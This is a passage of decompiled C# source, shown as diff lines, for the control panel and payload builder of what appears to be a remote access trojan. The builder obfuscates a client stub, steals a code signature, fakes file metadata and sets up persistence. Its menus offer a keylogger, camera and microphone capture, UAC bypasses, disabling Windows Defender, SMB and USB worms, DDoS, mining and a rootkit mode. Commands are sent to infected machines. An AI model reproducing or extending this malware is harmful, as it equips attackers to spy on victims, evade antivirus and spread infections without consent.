this.gMapControl1.Overlays[1].IsVisibile = false; + } + + private void metroRadioButton3_CheckedChanged(object sender, EventArgs e) + { + this.gMapControl1.Overlays[0].IsVisibile = true; + this.gMapControl1.Overlays[1].IsVisibile = true; + } + + private void metroRadioButton6_CheckedChanged(object sender, EventArgs e) + { + this.gMapControl1.MapProvider = (GMapProvider) GMapProviders.GoogleMap; + } + + private void metroRadioButton5_CheckedChanged(object sender, EventArgs e) + { + this.gMapControl1.MapProvider = (GMapProvider) GMapProviders.GoogleHybridMap; + } + + private void metroButton6_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.TextBoxGroup.Text)) + { + int num1 = (int) MessageBox.Show("you didn't write the text in Group", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxMutex.Text)) + { + int num2 = (int) MessageBox.Show("you didn't write the text in Mutex", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(BulidStatic.IconPath) && this.CheckBoxIco.Checked) + { + int num3 = (int) MessageBox.Show("you didn't select icon", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxTaskSaveAdmin.Text) && this.CheckBoxAdminGet.Checked) + { + int num4 = (int) MessageBox.Show("you didn't write the text in Save Admin", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxHKCUNAME.Text) && this.CheckBoxHKCU.Checked && this.CheckBoxInstall.Checked) + { + int num5 = (int) MessageBox.Show("you didn't write the text in Hkcu Name", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxTaskForClient.Text) && this.CheckBoxTaskClient.Checked && this.CheckBoxInstall.Checked) + { + int num6 = (int) MessageBox.Show("you didn't write the text in Task Name for client", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxTaskForWatchDog.Text) && this.CheckBoxTaskWatchDog.Checked && this.CheckBoxWatchDog.Checked && this.CheckBoxInstall.Checked) + { + int num7 = (int) MessageBox.Show("you didn't write the text in Task Name for WatchDog", "Shit", MessageBoxButtons.OK); + } + else if (this.ComboBoxPathClient.SelectedIndex == -1 && this.CheckBoxInstall.Checked) + { + int num8 = (int) MessageBox.Show("you didn't select path for client", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxPathClient.Text) && this.CheckBoxInstall.Checked) + { + int num9 = (int) MessageBox.Show("you didn't write the text in Client Name", "Shit", MessageBoxButtons.OK); + } + else if (this.ComboBoxPathWatchDog.SelectedIndex == -1 && this.CheckBoxWatchDog.Checked && this.CheckBoxInstall.Checked) + { + int num10 = (int) MessageBox.Show("you didn't select path for WatchDog", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxPathWatchDog.Text) && this.CheckBoxWatchDog.Checked && this.CheckBoxInstall.Checked) + { + int num11 = (int) MessageBox.Show("you didn't write the text in WatchDog Name", "Shit", MessageBoxButtons.OK); + } + else if (this.GridIps.Rows.Count == 0) + { + int num12 = (int) MessageBox.Show("you forgot to add a hosts", "Shit", MessageBoxButtons.OK); + } + else if (this.CheckBoxSigTheif.Checked && !File.Exists(BulidStatic.SigPath)) + { + int num13 = (int) MessageBox.Show("sigtheif doesn't have a file", "Shit", MessageBoxButtons.OK); + } + else + { + using (FolderBrowserDialog folderBrowserDialog = new FolderBrowserDialog()) + { + if (folderBrowserDialog.ShowDialog() == DialogResult.OK) + { + for (int index = 0; index < 10; ++index) + { + using (ModuleDefMD moduleDefMd = ModuleDefMD.Load("Stub\\Client.exe")) + { + string str = Path.Combine(folderBrowserDialog.SelectedPath, this.getRandomCharacters(12) + ".exe"); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start write settings in stub.exe"); + this.WriteSettings(moduleDefMd, str); + if (this.CheckBoxJumpCtrlFlow.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation JumpCtrlFlow"); + JumpCtrlFlow.Execute((ModuleDef) moduleDefMd); + } + if (this.CheckBoxProxyString.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation ProxyString"); + ProxyString.Execute((ModuleDef) moduleDefMd); + } + if (this.ProxyCall.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation ProxyCall"); + ProxyAdder.Execute((ModuleDef) moduleDefMd); + } + if (this.ObfuscationJunkCode.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation JunkCode"); + JunkCodeInjector.Inject((ModuleDef) moduleDefMd, (int) this.numericUpDown1.Value); + } + if (this.ObfusctationArithmetic.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation Arithmetic"); + MindLated.Protection.Arithmetic.Arithmetic.Execute((ModuleDef) moduleDefMd); + } + if (this.CheckBoxCtrlFlow.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation ControlFlow"); + ControlFlowObfuscation.Execute(moduleDefMd); + } + if (this.CheckBoxRename.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation RenamerPhase"); + RenamerPhase.Execute(moduleDefMd, RenamerPhase.RenameMode.Ascii); + } + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Write"); + if (this.CheckBoxSigTheif.Checked) + { + moduleDefMd.Write(str + ".tmp"); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Write Assembly and ico"); + if (this.CheckBoxAssembly.Checked) + this.WriteAssembly(str + ".tmp"); + if (this.CheckBoxIco.Checked && !string.IsNullOrEmpty(BulidStatic.IconPath)) + IconInjector.InjectIcon(str + ".tmp", BulidStatic.IconPath); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start SigTheif"); + Process.Start(new ProcessStartInfo() + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + FileName = "Stub\\sigthief.exe", + Arguments = $" -i \"{BulidStatic.SigPath}\" -o \"{str}\" -t \"{str}.tmp\"" + }).WaitForExit(); + File.Delete(str + ".tmp"); + } + else + { + moduleDefMd.Write(str); + CustomConsole.WriteLine(CustomConsole.Title.Information, "Write Assembly and ico"); + if (this.CheckBoxAssembly.Checked) + this.WriteAssembly(str); + if (this.CheckBoxIco.Checked && !string.IsNullOrEmpty(BulidStatic.IconPath)) + IconInjector.InjectIcon(str, BulidStatic.IconPath); + } + CustomConsole.WriteLine(CustomConsole.Title.Information, "Bulid Succues"); + } + } + } + } + GC.Collect(); + } + } + + private void fullImageOpenToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + string checksum = Methods.GetChecksum("Plugins\\Images.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("FullScreen<@>" + Convert.ToBase64String(File.ReadAllBytes(openFileDialog.FileName))))}"); + } + } + + private void metroButton7_Click(object sender, EventArgs e) + { + this.CheckBoxInstall.Checked = true; + this.CheckBoxAdminGet.Checked = true; + this.CheckBoxAntiVirtual.Checked = true; + this.CheckBoxJumpCtrlFlow.Checked = true; + this.ProxyCall.Checked = true; + this.ObfuscationJunkCode.Checked = true; + this.CheckBoxRename.Checked = true; + this.CheckBoxCtrlFlow.Checked = true; + this.ObfusctationArithmetic.Checked = true; + this.CheckBoxProxyString.Checked = true; + this.CheckBoxUserInit.Checked = true; + this.CheckBoxTaskClient.Checked = true; + this.CheckBoxTaskWatchDog.Checked = true; + this.CheckBoxAssembly.Checked = true; + this.CheckBoxWatchDog.Checked = true; + this.CheckBoxHideFile.Checked = true; + this.CheckBoxPumper.Checked = true; + this.CheckBoxRootKitMode.Checked = true; + this.CheckBoxAntiProcess.Checked = false; + this.CheckBoxHideFolder.Checked = false; + this.numericUpDown1.Value = (Decimal) this.random.Next(20, 300); + this.TextBoxMutex.Text = "Sheet_" + this.getRandomCharacters(this.random.Next(10, 20)); + this.TextBoxProduct.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxDescription.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxCompany.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxCopyright.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxTrademarks.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxTaskForClient.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxTaskForWatchDog.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxProduct.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxTaskSaveAdmin.Text = this.namesarray[this.random.Next(this.namesarray.Length)]; + this.TextBoxOriginalFileName.Text = this.namesarray[this.random.Next(this.namesarray.Length)] + ".exe"; + this.TextBoxProductVersion.Text = $"{this.random.Next(0, 300)}.{this.random.Next(0, 300)}.{this.random.Next(0, 300)}.{this.random.Next(0, 300)}"; + this.TextBoxFileVersion.Text = $"{this.random.Next(0, 300)}.{this.random.Next(0, 300)}.{this.random.Next(0, 300)}.{this.random.Next(0, 300)}"; + this.ComboBoxPathClient.SelectedIndex = this.random.Next(this.ComboBoxPathClient.Items.Count); + this.ComboBoxPathWatchDog.SelectedIndex = this.random.Next(this.ComboBoxPathClient.Items.Count); + this.TextBoxPathClient.Text = $"xdwd{this.namesarray[this.random.Next(this.namesarray.Length)]}.exe"; + this.TextBoxPathWatchDog.Text = $"xdwd{this.namesarray[this.random.Next(this.namesarray.Length)]}.exe"; + } + + private void setBackgroundToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.GridClients.SelectedRows.Count <= 0) + return; + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + string checksum = Methods.GetChecksum("Plugins\\Images.dll"); + foreach (Clients clients in this.ClientsSelected()) + clients.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"SetBackground<@>{Convert.ToBase64String(File.ReadAllBytes(openFileDialog.FileName))}<@>{Path.GetExtension(openFileDialog.FileName)}"))}"); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle4 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle5 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle6 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle7 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle8 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle9 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); + this.metroTabControl1 = new MetroTabControl(); + this.metroTabPage1 = new MetroTabPage(); + this.GridClients = new DataGridImage(); + this.contextMenuForClients = new ContextMenuStrip(this.components); + this.surveillanceToolStripMenuItem = new ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem = new ToolStripMenuItem(); + this.remoteCameraToolStripMenuItem = new ToolStripMenuItem(); + this.microphoneToolStripMenuItem = new ToolStripMenuItem(); + this.keyLoggerToolStripMenuItem = new ToolStripMenuItem(); + this.fileManagerToolStripMenuItem = new ToolStripMenuItem(); + this.regeditToolStripMenuItem = new ToolStripMenuItem(); + this.taskManagerToolStripMenuItem = new ToolStripMenuItem(); + this.netStatToolStripMenuItem = new ToolStripMenuItem(); + this.serviceManagerToolStripMenuItem = new ToolStripMenuItem(); + this.autoRunToolStripMenuItem = new ToolStripMenuItem(); + this.taskSchedulerToolStripMenuItem = new ToolStripMenuItem(); + this.shellToolStripMenuItem = new ToolStripMenuItem(); + this.clipboardToolStripMenuItem = new ToolStripMenuItem(); + this.mapToolStripMenuItem = new ToolStripMenuItem(); + this.exploitationToolStripMenuItem = new ToolStripMenuItem(); + this.reverseProxyToolStripMenuItem = new ToolStripMenuItem(); + this.interactionToolStripMenuItem = new ToolStripMenuItem(); + this.chatToolStripMenuItem = new ToolStripMenuItem(); + this.funToolStripMenuItem = new ToolStripMenuItem(); + this.speakTextToolStripMenuItem = new ToolStripMenuItem(); + this.messageToolStripMenuItem = new ToolStripMenuItem(); + this.fullImageOpenToolStripMenuItem = new ToolStripMenuItem(); + this.setBackgroundToolStripMenuItem = new ToolStripMenuItem(); + this.extraToolStripMenuItem = new ToolStripMenuItem(); + this.sendFileToolStripMenuItem = new ToolStripMenuItem(); + this.fromDiskToolStripMenuItem = new ToolStripMenuItem(); + this.fromMemoryToolStripMenuItem = new ToolStripMenuItem(); + this.toolStripMenuItem4 = new ToolStripMenuItem(); + this.fromLinkToolStripMenuItem = new ToolStripMenuItem(); + this.disableUACToolStripMenuItem = new ToolStripMenuItem(); + this.disableWDToolStripMenuItem = new ToolStripMenuItem(); + this.uacToolStripMenuItem = new ToolStripMenuItem(); + this.runAsAdminUacToolStripMenuItem = new ToolStripMenuItem(); + this.runAsSystemToolStripMenuItem = new ToolStripMenuItem(); + this.eventvwrToolStripMenuItem = new ToolStripMenuItem(); + this.fodhelperToolStripMenuItem = new ToolStripMenuItem(); + this.computerdefaultsToolStripMenuItem = new ToolStripMenuItem(); + this.sDCLTToolStripMenuItem = new ToolStripMenuItem(); + this.sLUIToolStripMenuItem = new ToolStripMenuItem(); + this.diskCleanupToolStripMenuItem = new ToolStripMenuItem(); + this.installingToolStripMenuItem = new ToolStripMenuItem(); + this.sMBWormToolStripMenuItem = new ToolStripMenuItem(); + this.toolStripMenuItem2 = new ToolStripMenuItem(); + this.toolStripMenuItem3 = new ToolStripMenuItem(); + this.uSBWormToolStripMenuItem = new ToolStripMenuItem(); + this.logsToolStripMenuItem = new ToolStripMenuItem(); + this.recoveryToolStripMenuItem = new ToolStripMenuItem(); + this.mapToolStripMenuItem1 = new ToolStripMenuItem(); + this.clientToolStripMenuItem = new ToolStripMenuItem(); + this.updateToolStripMenuItem = new ToolStripMenuItem(); + this.removeToolStripMenuItem = new ToolStripMenuItem(); + this.reconectToolStripMenuItem = new ToolStripMenuItem(); + this.exitToolStripMenuItem = new ToolStripMenuItem(); + this.openFolderToolStripMenuItem = new ToolStripMenuItem(); + this.addConnectToolStripMenuItem = new ToolStripMenuItem(); + this.copyHwidToolStripMenuItem = new ToolStripMenuItem(); + this.copyLogsToolStripMenuItem = new ToolStripMenuItem(); + this.systemToolStripMenuItem = new ToolStripMenuItem(); + this.logOutToolStripMenuItem = new ToolStripMenuItem(); + this.restartToolStripMenuItem = new ToolStripMenuItem(); + this.shutdownToolStripMenuItem = new ToolStripMenuItem(); + this.clearSavePluginsToolStripMenuItem = new ToolStripMenuItem(); + this.getPathClientToolStripMenuItem = new ToolStripMenuItem(); + this.botnetSystemToolStripMenuItem = new ToolStripMenuItem(); + this.dDosAttackToolStripMenuItem = new ToolStripMenuItem(); + this.miningEtcToolStripMenuItem = new ToolStripMenuItem(); + this.toolStripMenuItem5 = new ToolStripMenuItem(); + this.pictureBox6 = new PictureBox(); + this.metroTabPage2 = new MetroTabPage(); + this.GridLogs = new DataGridView(); + this.contextMenuForLogs = new ContextMenuStrip(this.components); + this.clearToolStripMenuItem = new ToolStripMenuItem(); + this.metroTabPage3 = new MetroTabPage(); + this.metroLabel46 = new MetroLabel(); + this.DiscordHookName = new MetroTextBox(); + this.metroLabel45 = new MetroLabel(); + this.DiscordSendLogs = new MetroToggle(); + this.metroLabel34 = new MetroLabel(); + this.DiscordNotifyClient = new MetroToggle(); + this.metroLabel36 = new MetroLabel(); + this.DiscordNotifyNewClient = new MetroToggle(); + this.metroLabel35 = new MetroLabel(); + this.DiscordUrl = new MetroTextBox(); + this.metroLabel33 = new MetroLabel(); + this.DiscordWebHook = new MetroToggle(); + this.metroLabel32 = new MetroLabel(); + this.toogleNotyfiClient = new MetroToggle(); + this.metroLabel31 = new MetroLabel(); + this.toogleNotyfiNewClient = new MetroToggle(); + this.metroLabel30 = new MetroLabel(); + this.metroToggle23 = new MetroToggle(); + this.AutoStartPortCheck = new MetroCheckBox(); + this.metroLabel25 = new MetroLabel(); + this.metroLabel21 = new MetroLabel(); + this.metroToggle20 = new MetroToggle(); + this.metroLabel22 = new MetroLabel(); + this.metroToggle21 = new MetroToggle(); + this.metroLabel23 = new MetroLabel(); + this.metroToggle22 = new MetroToggle(); + this.metroLabel18 = new MetroLabel(); + this.metroToggle17 = new MetroToggle(); + this.metroLabel19 = new MetroLabel(); + this.metroToggle18 = new MetroToggle(); + this.metroLabel20 = new MetroLabel(); + this.metroToggle19 = new MetroToggle(); + this.metroLabel14 = new MetroLabel(); + this.metroToggle13 = new MetroToggle(); + this.metroLabel15 = new MetroLabel(); + this.metroToggle14 = new MetroToggle(); + this.metroLabel16 = new MetroLabel(); + this.metroToggle15 = new MetroToggle(); + this.metroLabel17 = new MetroLabel(); + this.metroToggle16 = new MetroToggle(); + this.metroLabel10 = new MetroLabel(); + this.metroToggle9 = new MetroToggle(); + this.metroLabel11 = new MetroLabel(); + this.metroToggle10 = new MetroToggle(); + this.metroLabel12 = new MetroLabel(); + this.metroToggle11 = new MetroToggle(); + this.metroLabel13 = new MetroLabel(); + this.metroToggle12 = new MetroToggle(); + this.metroLabel6 = new MetroLabel(); + this.metroToggle5 = new MetroToggle(); + this.metroLabel7 = new MetroLabel(); + this.metroToggle6 = new MetroToggle(); + this.metroLabel8 = new MetroLabel(); + this.metroToggle7 = new MetroToggle(); + this.metroLabel9 = new MetroLabel(); + this.metroToggle8 = new MetroToggle(); + this.metroLabel5 = new MetroLabel(); + this.metroToggle4 = new MetroToggle(); + this.metroLabel4 = new MetroLabel(); + this.metroToggle3 = new MetroToggle(); + this.metroLabel3 = new MetroLabel(); + this.metroToggle2 = new MetroToggle(); + this.metroLabel2 = new MetroLabel(); + this.metroToggle1 = new MetroToggle(); + this.metroLabel1 = new MetroLabel(); + this.metroButton1 = new MetroButton(); + this.metroTextBox1 = new MetroTextBox(); + this.metroTabPage4 = new MetroTabPage(); + this.GridAutoTasks = new DataGridView(); + this.contextMenuForTasks = new ContextMenuStrip(this.components); + this.toolStripMenuItem1 = new ToolStripMenuItem(); + this.addToolStripMenuItem = new ToolStripMenuItem(); + this.metroTabPage6 = new MetroTabPage(); + this.metroButton7 = new MetroButton(); + this.metroCheckBox1 = new MetroCheckBox(); + this.metroLabel47 = new MetroLabel(); + this.metroTextBoxPasteBin = new MetroTextBox(); + this.metroButton6 = new MetroButton(); + this.metroButton5 = new MetroButton(); + this.metroButton4 = new MetroButton(); + this.CheckBoxSigTheif = new MetroCheckBox(); + this.ButtonSelectSigTheif = new MetroButton(); + this.GridIps = new DataGridView(); + this.ProxyCall = new MetroCheckBox(); + this.CheckBoxJumpCtrlFlow = new MetroCheckBox(); + this.numericUpDown1 = new NumericUpDown(); + this.ObfuscationJunkCode = new MetroCheckBox(); + this.ObfusctationArithmetic = new MetroCheckBox(); + this.CheckBoxProxyString = new MetroCheckBox(); + this.metroButton3 = new MetroButton(); + this.metroButton2 = new MetroButton(); + this.CheckBoxRename = new MetroCheckBox(); + this.CheckBoxAntiVirtual = new MetroCheckBox(); + this.CheckBoxCtrlFlow = new MetroCheckBox(); + this.TextBoxTaskSaveAdmin = new MetroTextBox(); + this.CheckBoxIco = new MetroCheckBox(); + this.CheckBoxAssembly = new MetroCheckBox(); + this.ButtonCopyAssembly = new MetroButton(); + this.TextBoxFileVersion = new MetroTextBox(); + this.metroLabel37 = new MetroLabel(); + this.metroLabel38 = new MetroLabel(); + this.metroLabel39 = new MetroLabel(); + this.metroLabel40 = new MetroLabel(); + this.metroLabel41 = new MetroLabel(); + this.metroLabel42 = new MetroLabel(); + this.metroLabel43 = new MetroLabel(); + this.metroLabel44 = new MetroLabel(); + this.TextBoxProductVersion = new MetroTextBox(); + this.TextBoxOriginalFileName = new MetroTextBox(); + this.TextBoxTrademarks = new MetroTextBox(); + this.TextBoxCopyright = new MetroTextBox(); + this.TextBoxCompany = new MetroTextBox(); + this.TextBoxDescription = new MetroTextBox(); + this.TextBoxProduct = new MetroTextBox(); + this.metroLabel29 = new MetroLabel(); + this.metroLabel28 = new MetroLabel(); + this.TextBoxMutex = new MetroTextBox(); + this.TextBoxGroup = new MetroTextBox(); + this.ButtonSelectIco = new MetroButton(); + this.pictureBoxIco = new PictureBox(); + this.panel1 = new Panel(); + this.CheckBoxRootKitMode = new MetroCheckBox(); + this.metroLabel27 = new MetroLabel(); + this.metroLabel26 = new MetroLabel(); + this.TextBoxPathWatchDog = new MetroTextBox(); + this.ComboBoxPathWatchDog = new MetroComboBox(); + this.TextBoxPathClient = new MetroTextBox(); + this.ComboBoxPathClient = new MetroComboBox(); + this.panel2 = new Panel(); + this.RadioButtonKillAntiProcess = new MetroRadioButton(); + this.RadioButtonExitAntiProcess = new MetroRadioButton(); + this.CheckBoxAntiProcess = new MetroCheckBox(); + this.CheckBoxPumper = new MetroCheckBox(); + this.CheckBoxHideFolder = new MetroCheckBox(); + this.CheckBoxHideFile = new MetroCheckBox(); + this.CheckBoxWatchDog = new MetroCheckBox(); + this.TextBoxTaskForWatchDog = new MetroTextBox(); + this.TextBoxTaskForClient = new MetroTextBox(); + this.CheckBoxTaskWatchDog = new MetroCheckBox(); + this.CheckBoxTaskClient = new MetroCheckBox(); + this.TextBoxHKCUNAME = new MetroTextBox(); + this.CheckBoxHKCU = new MetroCheckBox(); + this.CheckBoxUserInit = new MetroCheckBox(); + this.CheckBoxAdminGet = new MetroCheckBox(); + this.CheckBoxInstall = new MetroCheckBox(); + this.ButtonRemoveIp = new MetroButton(); + this.ButtonIpAdd = new MetroButton(); + this.TextBoxIp = new MetroTextBox(); + this.metroLabel24 = new MetroLabel(); + this.metroTabPage5 = new MetroTabPage(); + this.panel4 = new Panel(); + this.metroRadioButton5 = new MetroRadioButton(); + this.metroRadioButton6 = new MetroRadioButton(); + this.panel3 = new Panel(); + this.metroRadioButton3 = new MetroRadioButton(); + this.metroRadioButton2 = new MetroRadioButton(); + this.metroRadioButton1 = new MetroRadioButton(); + this.gMapControl1 = new GMapControl(); + this.metroTabPage7 = new MetroTabPage(); + this.metroLabel48 = new MetroLabel(); + this.pictureBox5 = new PictureBox(); + this.pictureBox4 = new PictureBox(); + this.pictureBox3 = new PictureBox(); + this.pictureBox2 = new PictureBox(); + this.pictureBox1 = new PictureBox(); + this.PingKeepAlive = new System.Windows.Forms.Timer(this.components); + this.notifyIcon1 = new NotifyIcon(this.components); + this.TimeOut = new System.Windows.Forms.Timer(this.components); + this.Checker = new System.Windows.Forms.Timer(this.components); + this.metroTabControl1.SuspendLayout(); + this.metroTabPage1.SuspendLayout(); + ((ISupportInitialize) this.GridClients).BeginInit(); + this.contextMenuForClients.SuspendLayout(); + ((ISupportInitialize) this.pictureBox6).BeginInit(); + this.metroTabPage2.SuspendLayout(); + ((ISupportInitialize) this.GridLogs).BeginInit(); + this.contextMenuForLogs.SuspendLayout(); + this.metroTabPage3.SuspendLayout(); + this.metroTabPage4.SuspendLayout(); + ((ISupportInitialize) this.GridAutoTasks).BeginInit(); + this.contextMenuForTasks.SuspendLayout(); + this.metroTabPage6.SuspendLayout(); + ((ISupportInitialize) this.GridIps).BeginInit(); + this.numericUpDown1.BeginInit(); + ((ISupportInitialize) this.pictureBoxIco).BeginInit(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.metroTabPage5.SuspendLayout(); + this.panel4.SuspendLayout(); + this.panel3.SuspendLayout(); + this.metroTabPage7.SuspendLayout(); + ((ISupportInitialize) this.pictureBox5).BeginInit(); + ((ISupportInitialize) this.pictureBox4).BeginInit(); + ((ISupportInitialize) this.pictureBox3).BeginInit(); + ((ISupportInitialize) this.pictureBox2).BeginInit(); + ((ISupportInitialize) this.pictureBox1).BeginInit(); + this.SuspendLayout(); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage1); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage2); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage3); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage4); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage6); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage5); + this.metroTabControl1.Controls.Add((Control) this.metroTabPage7); + this.metroTabControl1.Dock = DockStyle.Fill; + this.metroTabControl1.Location = new Point(20, 60); + this.metroTabControl1.Multiline = true; + this.metroTabControl1.Name = "metroTabControl1"; + this.metroTabControl1.SelectedIndex = 4; + this.metroTabControl1.Size = new Size(1403, 518); + this.metroTabControl1.SizeMode = TabSizeMode.Fixed; + this.metroTabControl1.Style = MetroColorStyle.Lime; + this.metroTabControl1.TabIndex = 0; + this.metroTabControl1.Theme = MetroThemeStyle.Dark; + this.metroTabControl1.UseSelectable = true; + this.metroTabPage1.Controls.Add((Control) this.GridClients); + this.metroTabPage1.Controls.Add((Control) this.pictureBox6); + this.metroTabPage1.HorizontalScrollbarBarColor = true; + this.metroTabPage1.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage1.HorizontalScrollbarSize = 0; + this.metroTabPage1.Location = new Point(4, 38); + this.metroTabPage1.Name = "metroTabPage1"; + this.metroTabPage1.Size = new Size(1395, 476); + this.metroTabPage1.TabIndex = 0; + this.metroTabPage1.Text = "Users"; + this.metroTabPage1.Theme = MetroThemeStyle.Dark; + this.metroTabPage1.VerticalScrollbarBarColor = true; + this.metroTabPage1.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage1.VerticalScrollbarSize = 0; + this.GridClients.AllowUserToAddRows = false; + this.GridClients.AllowUserToDeleteRows = false; + this.GridClients.AllowUserToResizeColumns = false; + this.GridClients.AllowUserToResizeRows = false; + this.GridClients.BackgroundColor = Color.FromArgb(17, 17, 17); + this.GridClients.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.GridClients.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.GridClients.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.GridClients.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.GridClients.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.GridClients.ContextMenuStrip = this.contextMenuForClients; + this.GridClients.Cursor = Cursors.Default; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.GridClients.DefaultCellStyle = gridViewCellStyle2; + this.GridClients.Dock = DockStyle.Fill; + this.GridClients.EnableHeadersVisualStyles = false; + this.GridClients.GridColor = Color.FromArgb(17, 17, 17); + this.GridClients.Location = new Point(0, 0); + this.GridClients.Name = "GridClients"; + this.GridClients.ReadOnly = true; + this.GridClients.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.GridClients.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.GridClients.RowHeadersVisible = false; + this.GridClients.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.GridClients.ShowCellErrors = false; + this.GridClients.ShowCellToolTips = false; + this.GridClients.ShowEditingIcon = false; + this.GridClients.ShowRowErrors = false; + this.GridClients.Size = new Size(1395, 476); + this.GridClients.TabIndex = 4; + this.contextMenuForClients.Items.AddRange(new ToolStripItem[10] + { + (ToolStripItem) this.surveillanceToolStripMenuItem, + (ToolStripItem) this.exploitationToolStripMenuItem, + (ToolStripItem) this.interactionToolStripMenuItem, + (ToolStripItem) this.extraToolStripMenuItem, + (ToolStripItem) this.uacToolStripMenuItem, + (ToolStripItem) 